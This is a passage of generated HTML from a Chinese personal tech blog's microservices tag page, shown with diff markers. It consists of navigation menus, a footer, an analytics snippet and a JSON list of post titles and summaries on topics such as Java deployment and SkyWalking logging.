dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
+<!DOCTYPE html><html lang="zh-CN"><head><title>微服务 | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="微服务 | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/微服务"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="微服务 | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E5%BE%AE%E6%9C%8D%E5%8A%A1/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E5%BE%AE%E6%9C%8D%E5%8A%A1/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas 